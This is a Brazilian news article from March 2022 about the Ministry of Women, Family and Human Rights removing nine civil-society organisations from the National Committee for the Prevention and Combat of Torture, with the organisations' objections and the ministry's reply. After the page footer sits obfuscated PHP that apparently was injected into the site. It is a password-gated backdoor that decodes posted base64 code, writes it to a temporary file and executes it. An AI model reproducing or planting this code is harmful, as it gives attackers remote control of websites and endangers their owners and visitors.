• SEJA BEM-VINDO

Ministério de Damares destitui entidades do Comitê Nacional de Prevenção à Tortura

Publicado em: 02/03/2022 Atualizado:: março 2, 2022

 

O Ministério da Mulher, da Família e dos Direitos Humanos destituiu do Comitê Nacional de Prevenção e Combate à Tortura nove entidades que representavam a sociedade civil no colegiado. Elas haviam sido eleitas para um mandato entre 2021 e 2023. Agora, seus postos ficarão vagos até que ocorra uma nova eleição.

 

Foram depostas organizações como o Instituto Terra, Trabalho e Cidadania, a Associação Nacional de Defensores e Defensoras Públicas e o Conselho Federal de Serviço Social.

 

A destituição ocorreu após a Justiça Federal do RJ determinar a inclusão da UFRN (Universidade Federal do Rio Grande do Norte) no processo eleitoral. A instituição havia sido excluída pelo próprio ministério, que emitiu parecer afirmando que universidades não poderiam concorrer a vagas destinadas à sociedade civil. A Justiça discordou.

 

Para cumprir a decisão e incluir a UFRN, a pasta da ministra Damares Alves diz que todas as fases precisam ser refeitas. As entidades, agora, deverão concorrer a uma nova eleição, com resultado previsto para abril deste ano.

 

As organizações afirmam, porém, que a anulação do certame extrapola a decisão da Justiça e que vagas remanescentes poderiam ser destinadas à UFRN. Elas ainda acusam o ministério de enfraquecer a atuação do órgão.

 

A vacância, segundo elas, prejudica a fiscalização, a prevenção e a interrupção de práticas de tortura em presídios. O ministério nega. “Não há nenhum prejuízo ao combate à tortura, uma vez que o colegiado não é o único responsável pela condução da pauta. Há, inclusive, diversos órgãos que cuidam da prevenção à tortura”, diz em nota.

 

Fonte: Bahianoticias


JORNAL INDEPENDENTE


Siga as redes sociais

if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}